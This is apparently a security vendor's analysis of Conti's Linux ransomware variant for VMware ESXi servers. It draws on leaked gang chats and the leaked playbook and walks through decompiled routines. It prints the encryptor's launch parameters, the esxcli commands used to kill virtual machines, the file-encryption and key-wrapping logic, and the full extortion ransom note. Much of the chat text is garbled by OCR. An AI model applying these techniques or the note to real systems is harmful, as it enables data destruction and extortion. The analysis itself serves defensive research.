Conti Group Targets ESXi Hypervisors With its Linux
Variant
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Despite the leak of the conversations of the Conti members that happened in March 2022,
which we analyzed and published recently, the group seems to continue its operations
normally and is adding new victims to their blog on a regular basis.

In a previous blog, we already discussed the new shift we have observed in the
ransomware landscape where different groups developed new versions of their encrypting
code to target ESXi hypervisor servers to increase the damage to the organizations they
attack
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On the 4th of April 2022, we detected a sample uploaded, which triggered our threat-
hunting rules. Upon further investigation, we determined the file is a Conti variant compiled
for the Linux operating system targeting ESXi servers. Although, the ESXi version of Conti
is not new and has been already discussed, this is the first public sample we have seen in
the wild.

In this blog we investigated the 2021 Conti leaked playbook and the 2022 leaked Conti chat
messages with an attempt to understand when Conti began developing a Linux variant of
their locker targeting ESXi servers as well as who their potential victims were. We also
provide a technical analysis of the recently detected Linux variant of Conti ransomware,
explaining its operation and capabilities.

ESXi Linux variant in Conti leaks & playbook

The first mention of a Conti locker for Linux dates to the beginning of May 2021. In the
below conversation, the actors’ monikers are marked in bold. Reshaev reports to Stern, he
successfully tested the locker and the decryptor against several million files and he is
currently applying the final touches to it. “What is left is that | need to check it on one OS,
ESXi, and that should be it” said Reshaev, adding that Tramp is already interested to start
working with the Linux variant of the ransomware:
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reshaev "MOCNEgHWA MOMEHT WaC pEWan
KONbLKO NAMOE $adnoE NpoBEpMNn BCE O
reshaev oT npoda ¥OY HHGL, €ro 4en c 8N NOMOXET C 3THM EOM
reshaev oTnvuM Kak Iangeus
stern ara MoHAN oK
stern
stern KOHTH ManuTCA KEepbl MWy T
stern Julelll]
stern oTnuum Goby npasBana Torga
stern ero noKepa
stern BYEpa He nocyWTan Teba eme, npod BolBen, CKMHET OTYET W BCE PaAsOM
stern 4yTO Mo TpaMny AyMasus:?
reshaev "HezHamw HW 4Yero He Mory ckKka3aThk 338 Hero, A € HHM noobuyancs HeMHOro Ha C
M C ZEGMAPOM KdK A NOHAD M OH T 4eT No ACOKEepy HavyaTb paboaTth”
21712 42, " A € HHM, HO OH XAET NMHYKC BEPCHH
B9: 68 :82.
B9 : 88 :a4.

aMap HopMm uyen, pabfoTaeT - eMy MNaTAT, BO (HO TpaMn T
ing there with the locker for Lin
deciding the last thing, what catalogues to encrypt in Linux
few million files, all ok"
ng for the info from prof, his guy id he will help with this question
y back when you are online
got it ok
and one more
are writing that conti is being detected

our locker
day I did not count you yet, prof replied, he will send the reports and I will top all up in one go
think about tramp?
"I dont know I cant hing about him, I had a short chat with him regarding the locker,

sa
od and he also wants to start working with the 1

o I think let's try working with him, but he is waiti
hat is left for me i at I need to check it on one 0S

should be it
- he gets paid, may be tramp

Figure 1. Reshaev to Stern on development of Conti Linux variant

Later in mid-June 2021, Reshaev advised Pin the Linux build of the locker is not ready yet
and preferably they should test it on a real case but not a large company. Pin replied to him
a large casino hack is almost finalized and suggested giving Reshaev’s Linux locker a try:
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pin ¥ BONpOC KOrAa NMHYKC nokep GyfeT roTos?

reshaev OH He B CETH

reshaev Mo NUHYKCY NOJ HEKOTOPHE CACTEMM Hapgo nepecobpaThb

reshaev A TaK yXe roTOED W NMPOTECTAAN

reshaev Hanpumep esxi Huwe 6.7 HE 3aNyCKEeTCA Hago CO CTapeMy OMAMOTEKamu cobupaTb
pin @ ewe MoXews ECTABWTE 4TO Ha pafouMid CTON CTAEMNACchH KAPTHHKA KOTOPYI A faMm W 4To Ob OH@ He foKanack nMpW noke?
reshaev [la

pin ghbdtn

reshaev MpuseT

pin npueeT

pin 3 MONELL MHE AaTb NOJ NMHYKC 2

pin NapaHoOMK MHE Ebfan BUYepa

pin nuH Gungep

reshaev 470 oH Boigan Tebe?

pin ¥laSholYVyutPPmyHuljkidZ 2xcel UHOW7WzIzQ0QK1Gs 21y Sy6bgil 2 jBEQGGRDY
reshaev a MOKEWbL MHE AaTb MO AHHYKC # - NOKa8 HE MOTY TaM MOCNEAHWE N@py MOMEHTOEB OCTNMCb
reshaev Gunpep

pin fa X0Tb KakoW HWEYOL

pin wnw oH Tyno He paboTaeT?

reshaev CerogHa GWNQep LOASnaw W AaMm, B TAKOM BMLE HE MOTY EbAaTh
reshaev ¥ TefA Tam He kpynHasa ceTka?

reshaev HenatenbHo eme 6 GO0 NPOTECTHTL @ HE CPasy KPYNHAK CTAEMTb
pin kak pas KpynHaA

pin A e ceHqacy®e noyTW Canean

reshaev Torpa Tem Gonee

pin xyxe He GymeT

reshaev 3To nepewid 3anyck GygeT

pin 3To kasMHo })

reshaev :-)

reshaev flagHo CErofHA K HOMM ADAERaN BCE

pin and question when the Linux locker will be ready?

reshaev He is offline

reshaev As for Linux there are some systems which need to be re-build

reshaev But in gemeral it is already ready and tested

reshaev For example esxi lower than 6.7 does not launch, we need to re-build it with the old libraries

pin and also can you add a picture to Desktop that I will give you and that it does not get encrypted when locking?

reshaev Yes

pin ghbdtn

reshaev Hello

pin hello

pin can you give me the (build) for Linux?

pin parancik gave it yesterday to me

pin pin the build

reshaev What did he give you?

pin ¥YJasholYVyutPPmyHuljkidZ2xcel UHOW7Wz IzQQK1G521y5y6bgil2 jBEQGGRD

reshaev can you give me the (build) for Linux ? - cant give it yet, there are still few last things left
reshaev the builder

pin just any then

pin or it stupidly does not work?

reshaev Today I will finish the builder and I will give it to you, in its current state I cant
reshaev Do you have a large network there?

reshaev It is preferred to test it in a real case and not on a large network
pin indeed a big one

pin I have almost completed it

reshaev In that case it isn't worth it

pin it wont be worse

reshaev This is gonna be the first launch

pin it is a casino ))

reshaev :-)

reshaev Ok I will finalize everything tonight

Figure 2. Pin to Reshaev suggesting trying the Linux variant for the 1st time on a casino

case

Moreover, Reshaev said the Linux locker does not launch on ESXi hypervisors with the
version lower than 6.7 and for older ESXi versions, they need to re-build the locker with old
libraries. This message in the Conti leaks of March 2022 is in line with the Conti playbook
leak of August 2021 where one of the manuals highlighted in cyan that the Linux variant of
the locker might not launch on certain OS versions:
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[lapaMeTp =alycka JokKepa Ha JMHYKC BepCHMAX
[lapaMeTpH BalyCcka unix eBepcum
--path

IpM MCHOOJNELBOBAHMUM STOIO apaMeTpa JOoKep samMdpyeT Qalinel o
YKa=2aHHOMYy OYyTK. O6sSaTenbHHM napaMeTp Oe= HeDO JIOUMTE HM HeIo
He OymerT.

. /encryptor --path /path

--prockiller
YOMEaeT BCe [POLECCH KOTOPHE MeMakT OTKPHTHID QaiioR.

. /encryptor --path /path --prockiller

--log
BKRINUYAET JIOTMPOBaHME BCEX OEMCTBUM M omMOOK
./encryptor --path /path --log /root/log.txt

--vmkiller (Tonerro OnA esxi)
BHIKJIDUAET BCE BUPTYaJlbHEE MAIMHEL

--vmlist (Tonrxo OonAa esxi)

SanaeT QalI CO CHMCKOM BHMPTYANBHEX MallMH, KOTOPEIE He HaIo
BHIKJINYATEL . [I0 OOHOM CTPOKe Ha Kaxkgywo VM.

./encryptor --path /path --vmkiller --vmlist /tmp/list.txt

--detach

OTBASEIEAET [OPOLECC OT TEepMMHATA.
Yrofe ecny ssh ceccMA OTBaIMIacE JIOKep Oanklle padoTan
M darnu He nobmn

ESXi mepcuw BANPAIMBANTE OTHEIBHO

ECIM TIle TO He BSalyckaeTcdA MHe Halo 0S, BepcHMD AI0pa M BepCcul
glibec /lib64/libc.so.6
Parameters for launching locker on Linux versions
Parameters for launching on a Unix version
-—path

When you use this parameter, the locker encrypts files at
the specified path. This parameter is mandatory. The
ransomware won’'t encrypt anything without it.

./encryptor --path /path

-—-prockiller
Kills all processes preventing file opening.
./encryptor --path /path -prockiller

-—-log
Enables logging of all actions and errors
. /encryptor --path /path --log /root/log.txt
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--vmmkiller (Only for esxi)
Shuts down all virtual machines

--vmlist (Only for esxi)
Sets a file with a list of wirtual machines that don’t

need to be shut down. A separate path is used for every

virtual machine.
./encryptor --path /path --vmkiller --vmlist /tmp/list.txt

-—detach
Disconnects a process from a terminal.
If an 88H session is down it allows the locker to continue

working and prevent file corruption.
An ESXi version is available ON REQUEST.

If you can’t launch the locker, you need to give me the OS5,
core wversion, abd the wversion of glibe /l1libé64/libc.so.6

Figure 3. Parameters of launching Conti Linux locker

It appears that Conti Linux version had a bug around November 2021. “Throw away the
builder | gave you for boby, it [expletive] does not work properly” advised Reshaev to
Paranoik. When an error was discovered, Cybergangster said he will fix it by the next day
and ordered an ESXi version 5.5 to test and adjust the locker for it. It seems that a fix was
still required for the Conti Linux variant up until the beginning of February 2022 and Conti
gang kept adjusting it for various ESXi versions including the latest version 7.0 and higher:

1-11T14:34:29.480496 paranoik TyT2
-12T16:43:49.15! reshaev BblkmHe ToT Gwngep xoTopwi A Tebe gaean gnA Gobu
-12T16:4 62 reshaev OH xyeso paboTaeT
1-12T16:43: "B v [len@ad BCEM HODMANbHBIM
1-13T19:
-13T19:8
-13T19:8
paranoik
reshaev Throw away the builder I gave you for boby

It fucking does not work properly

2 readonly accs which can see all his dialogs

-13T19:83:58.758308 v and 5 builds win + esxi

Figure 4. Reshaev on Linux variant not working properly
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2821-11-23T88:12:43.394819 cybergangster nashel ya oshibku
2821-11-23T88:12:51.188795 cybergangster ravtra budet fix

2821-11-23T91:988:86. 804886 cybergangster 5.5 zakaji eshe versiu esxi please
2821-11-23T85:15:25. 267648 cybergangster skin supportu esxi
2821-11-23T85:15:29. 872884 cybergangster 5.5

2821-11-23T85:15:41.6086126 cybergangster on podgotovit vse poka yva splu
2021-11-23T19:28:28.755357 tramp npueeT

2821-11-23T22:31:13.815585 tramp yTto 3a bar Bpo 2
2821-11-27T82:44:87.531158 cybergangster Hapgewcb cCercgHAa cpenaeT
2821-12-83T18:31:15.748355 tramp Ky

2021-12-83T18:31:18.969218 tramp Tl TECTHUE 2

2821-12-88T23:48:46.7945984 tramp Ky

2821-12-88T23:49:89.586832 tramp BGunabl HYXHHE

2021-11-23T88:12:43.394819 cybergangster I found the error
2821-11-23T88:12:51.188795 cybergangster tomorrow there will be a fix
2021-11-23T91:85:86.804886 cybergangster please also order esxi version 5.5
2821-11-23T85:15:25.267648 cybergangster give the esxi to support
2021-11-23T85:15: 29 872884 cybergangster 5.5

2821-11-23T85:15:41.686126 cybergangster he will prepare everything while I am asleep
2021-11-23T109:28:28.755357 tramp Hi

2021-11-23T22:31:13.815585 tramp What sort of bug is there bro 2
2021-11-27T82:44:87.531158 cybergangster I hope it will be done today
2821-12-83T18:31:15.748355 tramp hi

2021-12-83T19:31:18.969218 tramp are you testing 2
2021-12-88T23:48:46.794984 tramp hi

2021-12-88T23:49:89.586832 tramp I need the builds

5. Cybergangster found a bug in the Linux variant of Conti
2822-82-84T16:85:22.848153 tramp Tol NogUKCAn 2
2022-82-84T16:85:27.556334 tramp HOEREe Bwngsl Bofaws 2
2822-02-86T17:16:82.742568 tramp Ky
2022-92-86T28:44:91.362983 tramp "83.242.96.193
wkVB 2 ZG7wWN"

2022-82-86T20:44:89.30635%9 tramp es¥i 5.5
2822-02-87T85:51:34.478634 cybergangster CAEnal nnus ewe 7.8 BEPCHD MNW BLllen
2822-82-87T85:51:38. 344111 cybergangster Bhilne*
2822-82-89T14:52:16.813347 tramp na
2022-82-14T17:29:85.826371 tramp NnpWBeT
2822-82-14T17:29:11.814346 tramp Hy®HH BWngsl Mo HEM

2022-92-94T16:85: 22 . 848153 tramp did you fix ?
2022-92-84T16:85: 27.556334 tramp can you give the new builds 2
2822-92-86T17:16:82.742568 tramp hi

2822-92-86T28:44:81.362983 tramp "83.242.96.193

whkVE27G7wN"

2022-82-86T20:44:089.306359 tramp esyi 5.5
2822-02-87T85:51:34.478634 cybergangster can you also make the version 7.8 and high
2822-82-87T85:51:38. 344111 cybergangster higher#*
2822-82-89T14:52:16.013347 tramp VEs
2822-92-14T17:29:85.026371 tramp hi

2822-82-14T17:29:11.0814346 tramp we need the builds for those

Cybergangster asking to order ESXi v7 and higher
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On the 22nd of November 2021 Cybergangster asked Bio to help to translate the Conti
Linux variant decryptor instructions which look as follow:

cybergangster "Perevedi na english please [ z sendspace.com™™"
"1} Podkluchites k serveru ot roota

3) zapustite or rptor - Jvmfs/volumes
4) Ojidaite i

cybergangster Perevedi please

bio For sending files is using sendspace.com

bic or like this "For sending files use pls sendspace.com”

. Run decryptor ./decryptor --path /vm volumes

. Waiting the end decryptor work

. Reboot system”™
7. Cybergangster asking Bio to help to translate decryptor instructions
Conti Linux variant decryptor had some issues too. In July-August 2021, Pin reported to
Reshaev the provided decryptor did not remove the ransomware extension from the
victim’s files. Reshaev first advised the decryptor unlocked the files and the victim just
needs to manually change the extension of the files, however due to a large volume of files
to process, Pin asked him to rebuild the decryptor so that it automatically removes the
extension from the decrypted files:
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2821-88-82T] ) i 768 pin "[31.87.2821 15
WK QS DK ] (7Zb1lcESXWOr8gFmDoLHnjqF
<pin> MEl MM JanW AeKpUNTOph
» OHW TOBOPAT YTOD MHOMD $AHNOE paSapMMBMPOEANOCE HO PAcWMpPEHME HE MOMEHANOCH
in* 4To genaTe?”
reshaev Eshe raz puskal zapustat
pin npoGoBanu
reshaev Znachit oni rashifrovani prosto puskai rashireniya uberut rukami
reshaev Takoe bilo wje
pin MOKET 3@HOED Haga CAEnaTe ASKpUNTOp cam dain?
reshaev Met
pin Tak ga OHM pacuMdpoBaHH
pin Ho npocTo $aino $alWnoE XyeEa ropa rOBOpPAT
reshaev Mogu peresobrat decryptor noviy on sam rashireniya uberet
pin pasal
reshaev kk
pin cnacwbo
pin "[31.87.2821 15:¢ £pin> Key is as follows:

them the decryptor
in* they say there are lots of files unarchived but the extension did not change
in: what do we
reshaev Let them run it one more time
pin Already tried

=r
a

(]
=
ai

v Then it means the files decrypted and they need to manually remove the extension

e
v That happened before

=
=

ay
eV

1 7
-

e we should re-work the decryptor file itself?

pin so yes the files are decrypted

pin but t are fucking mountains of files

reshaev I can rebuild a new decryptor which will remove the extension
pin lets do that

reshaev ok

pin thanks

Figure 8. Pin asking Reshaev to rebuild the Conti Linux decryptor

The Linux decryptor still had problems in December 2021 where either the victims who paid
the ransom were complaining it did not work properly or Conti members themselves could
not decrypt the files received from the victims.

Although the Linux variant’s first use on a potential victim (a large casino) dated as early as
July 2021, we observed the ESXi variant becoming actively used only as of November
2021. By examining the Conti leaks we have identified some of the potential victims of Conti
Linux variant across various industries including business, law, automobile, logistics, retail
and financial services. Below is an excerpt from a hack case with the Linux variant, where
initially Conti set a ransom at $20 million but settled at $1 million, mainly because
something went wrong with the Linux variant lock and instead of 800 ESXi servers they
managed to encrypt only 260 servers. Furthermore, it seems that the victim did not want
Conti’s decryptor and Conti suspected they somehow managed to recover and restore their
systems:
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Hello

did you see it?

tramp hahah RRD came back

a@s you said, as soon as we published 5% those bitches are already in the chat))
can you give me a price indication

how much are we asking

they are big

although to be honest we locked them in a bad way
not all 868 esxi are locked

but the others are all silemt

but yes

we will wait

5o what amount are we asking?

a sec

420,000,000

to start off

clear

it is weird only them got back to the chat

we need to note that they did not want the decrypter, they will ask only to remove their data
I think so

yes

ok will see

they came to us cause their data popped up

and a resonance started

we only managed to lock 268 esxi out of 800

yes

yes yes

even if we take 4-5m from them it will be fucking awesome
I think they already managed to recover everything
that is why they are not in the chat

let them offer

but this is also not a small (amount)
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2922-01-1 6 1a replied - which is already good

out with such an amount from the beginning
ut the amount again
lets first figure out the goal, I asked them there

y, Ottawa replied, I gave xtra and se e amount at 1 mln, I hope we will manage to take that.
11 take what's offered as it is taking too £ get the million. You would have to send them the wallet.”

Figure 9. Tramp and Pumba’ discussion around a hack with the Linux variant
The latest potential victim of Conti Linux locker we have identified dates as late as 26th of
January 2022. This proves that despite the recent Conti/Trickbot leaks havoc, the gang
continues to operate uninterruptedly and attack primarily Western organizations for their
financial benefits.

Technical analysis

The sample object of this analysis is an ELF compiled for the x64 processor architecture
with the symbols not stripped. Also, the sample has no obfuscation and it’s statically
compiled with the OpenSSL library version 1.0.1e for the cryptographic operations of the
ransomware.

The analyzed file can be identified by the following hashes:

File Name encryptor.exe

MD5 cfb6d21ffe7c4279f761f2351c0810ee

SHA-1 ee827023780964574f28c6ba333d800b73eae5c4

SHA-256 95776f31cbcac08eb3f3e9235d07513a6d7a6bf9f1b7f3d400b2cfOafdb088a7

Command line arguments

On execution, the malware will first parse the command line arguments passed to it. The
first parameter the malware will parse is the “--path” which is the path that the locker will
encrypt and it must be specified or the ransomware will finish its execution.

if ( I(unsigned _int8)FindArg(al, a2, "--path") )

{
puts(“parameter --path must be specified"); ) .
exit(1); Figure 10. Path argument parsing

= GetArg(al, a2, "--path");
SetPathiv2);

Because the argument “--path” is mandatory it seems that the malware was designed to be
ran directly by the operators and not independently as the Windows version of the
ransomware.
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The second argument is “--file” which is parsed by the malware but not used in the code.
The third argument is “--size” which is the partial size of the file that will be encrypted if the
file is bigger than 5MB. It can only be 10, 15, 20, 25, 30, 35, 40 or 50.

if ( (unsigned _ int8)FindArg(al, a2, "--size™) )

£ 4 = GetArg(al, a2, "--size");
5 = atoi(nptr);
switch ( v5 )
{

case lou:

case 15u:

case 28u:

case 25u:

case 38u:

case 35u:

case 48u: fixed; Figure 11. Size argument parsing

case 58u:
SetSize(vs);
break;

default:
printf(“paremeter --size cannot be %d\n", v5);
exit(1);

1
1

else

i
SetSize(28u);

}
The third argument is “--detach”, which will make the malware run as a child process using

the syscall fork from Linux and to disconnect the process from the terminal and continue
encrypting even if the ssh session is discontinued/interrupted. The fourth is “--log” which will
receive a file as input, and it will write all the actions and error messages from the malware
to that particular file.

The fifth argument is “--prockiller” if set the malware will finish the execution of processes
that have handles open to the file is being encrypted in order to liberate it. This functionality
is explained on the Termination of processes section and in this build is disabled.

The sixth argument is “--vmlist” which receives a file with a list of names of virtual machines
the malware will exclude and not finish its execution. The seventh argument is “--vmkiller”
which is responsible for calling the function “KillVIrtualMachines” and is discussed in the
next section.
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if ( (unsigned __int8)Findarg(al, a2,
SetDetach(lu);
alse
SetDetach(@);
if { (unsigned _ int8)FindArg(al, a2,
{
logFile = GetArg(al, 22, "--log");
LogInit(logFile);

if { (unsigned __iFTH]Findﬁrg{ﬁl, ai,
SetProcKiller(lu);

else
SetProckiller(®);

if ( (unsigned __int8)FindArg(al, a2,

{
v7 = GetArg(sl, a2, "--vmlist");
SetvmList(v7);

}

if ( (unsigned _ int8)Findarg(sl, a2,
KillVirtualMachines();

Killing virtual machines

"__deta:h"} }

"--log") )

ReRrRCiCLIArH Y Figure 12. Conti arguments parsing

"--ymlist™) )

"e=ymkiller®™) )

If the “--vmkiller" argument is passed to the command line, the malware will create a child
process using the fork syscall and make the parent process wait till the execution of the
child process finishes. The newly created process will create a file named “vm-list.txt”,
redirect the stdout file descriptor to the file and finally execute the command “esxcli vm

process list” via the execlp function.

v2 = fork();
if{ -."}:9)
{
if (v2)
{
result = wait{BLL);
1

else

{

fd
if ( fd == -1 )
{

open{"vm-1list.txt", O_TRUNC|O_CREAT|O_WRONLY, DEFFILEMODE);

result = puts("Cannot create file wm-list.txt");

}

else

{
stdout_fd = dup(1);
dup2(fd, 1);

Figure 13.

execlp("esxcli”, "esxcli”, "vm", "process”, "list", @LL);

fflush(stdout);
dup2(stdout_fd, 1);
result = close(fd);

ve = __errno_location();

result = printf({“fork() error in GetVMList(). errno = %d\n", (unsigned int)%va);

}

return result;
Listing virtual machines in the server
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The aforementioned command is used to list the virtual machines on the ESXi server and to
obtain the necessary information to stop their execution. Next, the malware will read the file
“vm-list.txt” created before and parse the world id and the display name. Before killing the
machine, it will check if the name of the machine is in the exclusion list which the actors
named “g_vm_list” and it was passed via the command line.

while { 1 )
{
haystack = strstr{vll, “World ID:");
if ( 'haystack )
break;
13 = @;
memset(=2, @, sizeof(:=2));
haystack += 18;
dest[@] = OLL;
dest[1] = eLL;
dest[2] = @LL;
8 = strstr{haystack, "\n");
memcpy(dest, haystack, v@ = haystack);

14 = atni({:cqﬁt char *}dest);
- k = strstr(vlil, "Display Name: ") + 14;

1 = strstr{haystack, "\n");
memcpy(s2, haystack, vl - haystack);
for ( = @; ; ++i ) Fi
igure 14.
{ g
if { v4 »= std::vector<std::string>::size(fg wvm_list) )
break;

2 = (std::string *)std::vector<std::string>::operator[](&g_wvm_list, i);
3 = (const char *)std::string::c_str(v2);
if ( Istremp(v3, s2) )

{
printf("Skipping VM %s\n", s2);
13 = 1;

printf(“Killing VM %s\n™, s2);
Killvm({vi4);
}
Check if virtual machine must be skipped

If the name of the machine is not found on the exclusion list, the malware will fork the
current process and issue the command “esxcli vm process Kill --type=hard --world-id=
{WORLD_ID}” to force its shutdown.
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4 = fork();
if (vd >=8 )

{
if ( va )
{ .
result = wait(eLL);
}
else
{
memset(=, 8, @xBBuLL);
sprintf(s, "--world-id=%d", al);
re t = execlp("esxcli”, "esxcli™, "vm", "process”, "kill", "--type=hard", s, OLL);
by
}
else
{ I3
I = __errno_location();
result = printf({"fork() error in KillVm({). errno = ¥d\n", (unsigned int)*vl);
}
return result;

Figure 15. Stop running virtual machines
Using this technique, the malware intends to release the files that these virtual machines
may use so when the encryption is performed there are no access errors.

Termination of processes

The ransomware has the ability to terminate the processes running on the server, but in the
ESXi builds it seems this functionality is disabled due to the fact that the function the
developers named “KillProcess” is never called.

First, the malware will enumerate all the directories inside the directory “/proc” which
contains information about processes and other system files. If the name of the directory is
a number, which indicates is a directory that contains information about a running process,
it will enumerate the file descriptors opened by that process in the CheckPid function and if
one of the file descriptors matches the name passed to the function it will send a kill syscall
to the process to liberate the opened file.
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std: :string::string{v4, “/proc®, &v3);
std::allocator<char>::~allocator(&v5);

vl = (const char *)std::string::c_str((std::string *)v4);
dirp = opendir{vl);

if ( dirp )
{
while ( 1)
1
/18 = readdir(dirp);
if ( 1vie )
break;
if ( stremp(vie-»>d_name, “.") )
{

if { strcmp(vie->d_name, "..") )

if { vie-»d_type == DT_DIR )

{
pid = atoi(vl@->d_name);
ik Figure 16.
std::Dperator+<char}{{5*d string *)}vé);
std: :operator+<char>((std::string *)vi);
std::string: :astring((std: shrhng ol '3 H
std::string::string((std: ’tr-ng *Iv7, al);
std::string::string({std::string *)v8, (const std::string *)v3);
2 = CheckPid({_inted)vE, {Jhd tstring *Iv7);
std::string: »strlng{{f'd 1stri ng “w8);
std::string: :~string((std::string *)v7);
if ( v2 )
kill{pid, 15);
std::string: :~string((std::string *)v3);
}
1
}
}
elosedir(dirp): |

}
Termination of processes

This functionality could be used by the malware if it can’t encrypt a file because it is open by
other processes to kill those processes and make the file available to the ransomware.

Enumeration of files

After, finishing execution of the virtual machines the malware will start enumerating the
directory specified with the “--path” argument. First, the malware will create the ransom note
on that directory with the name “readme.txt”. We will discuss its contents in the Ransom
note section.

std: :operator+<char>(v1&, path, "/readme.txt");
std::string::c_str{vie);

open(vs, @x241, @x188LL);

fd I= -1)

Il 0

& = GetDecryptNote(); Figure 17. Dropping ransom note
strlen(ve);
8 Eetﬂecryptﬂnte{}
WriteFullData(fd, v&, v7);
close(fd)};

}
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To traverse the directory, the malware will call the function “readdir” which returns a pointer
to a dirent structure with the information of the directory. Conti will skip the directories ‘. and
‘.. which corresponds to the drive current and parent directory. If the type of the entry of the
dirent structure is “DT_DIR” which means it is a directory, it will recursively call the
“SearchFiles” function to enumerate the files in the directory.

pbirent = readdir(dirp);
if ( !pDirent )
break;
if ( stremp(pDirent=-»>d_name, ".") && strcmp(pDirent->d_name, “..") )
{
if ( pDirent-»>d_type == DT_DIR )
{
std::allocator<char»::allocator(&v18);
std::string::string(v17, pDirent->d_name, &v1E);
std::string::string(v1s, path); Figure 18. Recursive file
MakePath(v1s, v1%, v17);
std::string::~string(v1o);
std::string: :~string(vi7);
std::allocator<char:::~allocator(&v18);
std::string::string(v2e, vis);
SearchFiles{v2a, a2);
std::string::~string(vie);
std::string: :~string(vis);
}
enumeration

If the entry in the dirent structure is “DT_REG” which means it is a regular file, the malware
will check if the filename contains “.conti” or is equal to “readme.txt” or contains “.sf”. If
that’s the case, it won’t encrypt the file.

1 = std::string::c_str(al);
if { stestr(vl, ".conti") )
return @LL;
3 = std::string::c_str(al);
if ( !strcmp(v3, "readme.txt"™) )
return @LL;
1 = std::string::c_str(al);
return strstr{vd, ".sf") == BLL;

The “.conti” extension it is checked to not double encrypt files, the readme.txt filename is
verified to not encrypt the ransom note file and the “.sf” extension is checked to not encrypt
files related to the VMFS filesystem volumes used by VMware ESXi.

Figure 19. Excluded files

Based on the size of the file, the malware will encrypt it partially or fully and will rename the
file with the “.conti” extension to mark the file as encrypted.
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if ( file_stat-»st_size > @x4FFFFF )
{
encrypt_size = GetSize();
if ( WriteEncryptInfo(&fd_file, 17, encrypt_size) == 1 )
{
'S = GetSizel();
encrypt_result = EncryptPartly(&fd_file, buffer, v5);
goto LABEL_14;
}
LABEL_12:
close(fd_file);
return @LL;
}
if { WriteEncryptInfo(kfd file, 16, 188) != 1 )
goto LABEL_12;
encrypt_result = EncryptFull{&fd_file, buffer);
LABEL_14:
fsyne(fd_file);
close(fd_file);
if { encrypt_result )
{
std: :operator+<chars(new_filenams , al, ".conti"):
new_conti_filename = std::string::c_str(new_filename_);
old_filename = std::string::c_str{al);
if ( renamef{old_filename, new_conti_filename) == -1 )

{ - &

Figure 20. Encryption routine

old_filename_ = std::string::c_str(al);
LogPrintf{"Cannot rename file ¥s\n", old _filename );

}
std::string::~string(new_filename_)};
}
return encrypt Feasult;

Encryption scheme

Conti uses the traditional hybrid encryption scheme combining a public-key and a
symmetric-key. The malware has embedded the OpenSSL library and a public Salsa20
algorithm implementation in the binary.

First, the malicious file will load the RSA public key contained in the binary using the
OpenSSL function PEM_read_bio RSAPublicKey and the size of the modulus of the key is
4096 bytes.

bool InitializeEncryptor(void)

{
__int8d v1; // [rsptBh] [rbp-8h]

buffer = malloc(@x5eea8eeuLL);
if ( lbuffer )
return @;
vl = BIO_new_mem_buf({g_publickeybytes, 4896LL);
g_publickey = PEM_read_bio_RSAPublicKey(vl, 8LL, 8LL, @LL);
BIO free_all{vl);
return g_publickey != 8;

Figure 21. Public key

}
initialization
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The malware uses Salsa20 as a symmetric algorithm to encrypt the files on the system by
generating a random key and initialization vector using the “RAND _bytes” function of
OpenSSL. For every file the malware is going to encrypt it will generate a new key and
initialization vector.

if ( RAND bytes(key, 32u) == -1 || RAND bytes(IV, 8u) == -1 )
goto LABEL_12; . .
ECRYPT keysetup(salsa28_ctx, key, 256); Figure 22. Generation of

ECRYPT ivsetup(salsaze_ctx, IV):

Salsa20 key and the initialization vector

Conti will create a 50 bytes structure where it will store in the first value the Salsa20 key, on
the second member will store the initialization vector, the third one will be the encryption
size of the partial encrypt of the file (i.e. encryption_size is 100 for full encrypt) and the las
one is a byte indicating the type of encryption of the file (i.e. 16 for full encryption and 17 for
partial encryption).

Lastly, it will encrypt the aforementioned structure and write it at the end of the file as
necessary information for the decryptor to decrypt the files.

memcpy (&key_info, fd_file + 6, @x28ull);
memcpy (&key_info.iv, fd_file + 14, Bull);
memcpy (&key_info.gap2l[7], fd_file + 2, Bull);
ey_info.encryption_size = encryption_size;
info.encryption_type = encryption_type;
func_retval = lseek(*fd_file, @LL, SEEK_END);
if ( func_retval == -1 )
return @LL;
func_retual = RSA_public_encrypt(@x32LL, &key info, dest buffer, g publickey, RSA_PKCS1_OAEP_PADDING):
if { func_retval == -1 )
esult = @LL;
else
esult = WriteFull(*fd file, dest buffer, S12ull);
return result;

Figure 23. Encryption of key_info structure

Ransom note

When a computer is infected by Conti, a ransom note with the name “readme.txt” is created
in the path that was parsed from the command line. The ransom note is embedded inside
the binary and it’'s not encrypted in any form. An example is shown below:
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Abrir - o readme.txt

Guardar : - o x

1 All of your files are currently encrypted by CONTI strain. If you don't know who we are - just "Google it."
2
3 As you already know, all of your data has been encrypted by our software.
4 It cannot be recovered by any means without contacting our team directly.
5
6 DON'T TRY TO RECOVER your data by yourselves. Any attempt to recover your data (including the usage of the
additional recovery software) can damage your files. However,
7 if you want to try - we recommend choosing the data of the lowest value.
8
9 DON'T TRY TO IGNORE us. We've downloaded a pack of your internal data and are ready to publish it on our
news website if you do not respond.
10 So it will be better for both sides if you contact us as soon as possible.
11
12 DON'T TRY TO CONTACT feds or any recovery companies.
13 We have our informants in these structures, so any of your complaints will be immediately directed to us.
14 So if you will hire any recovery company for negotiations or send requests to the police/FBI/investigators,
we will consider this as a hostile intent and initiate the publication of whole compromised data immediately.
15
16 To prove that we REALLY CAN get your data back - we offer you to decrypt two random files completely free of
charge.
17
18 You can contact our team directly for further instructions through our website :
19
20 TOR VERSION :
21 (you should download and install TOR browser first https://torproject.org)
22
23 http://contirec .onion/-

24

25 YOU SHOULD BE AWARE!

26 We will speak only with an authorized person. It can be the CE0, top management, etc.

27 In case you are not such a person - DON'T CONTACT US! Your decisions and action can result in serious harm
to your company!

28 Inform your supervisors and stay calm!

Figure 24. Conti ESXi ransom note
As most ransomware strains nowadays, Conti embeds a TOR support panel in the ransom
note where the victim can contact the criminals to get the decryptor after the payment.

Logging

Conti has the ability to generate a log file if specified in the command line, which will log all
the messages that the malware creates. Conti will generate debug messages to show
which file is encrypting and also write error messages if there are any.

e B conti.log

1 Encrypting encrypt/Audio.wav Figure 25. Example of log file

2 Encrypting encrypt/libc-2.27-level2.so

3 Encrypting encryptz’manifest.txt|
Besides the log file, Conti also creates a file in the current directory named “result.txt” where
it writes the size of encrypted files and the number of files it has encrypted.

Abrir - 0 result.txt

Figure 26. Example of results.txt file

1[Total encrypted: 5.32 MB
2 Files: 3
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Demo

In the following link you can see a video of the encryption process of a ESXi server. First,
the malware will stop the running virtual machine named Ubuntu VM and then encrypt all
the files inside the path “/vmfs/volumes”. The result.txt file will contain the total encrypted
size and the number of files encrypted and the conti_log.log file will contain the log
messages of the malware.

X OOMNT218139.138 « | Ayuda - |

= Configuracion de hardware

Conclusion

In this report we have presented a technical overview of a recent Conti Linux sample
targeting VMware ESXi servers and the functionalities included in the malware to increase
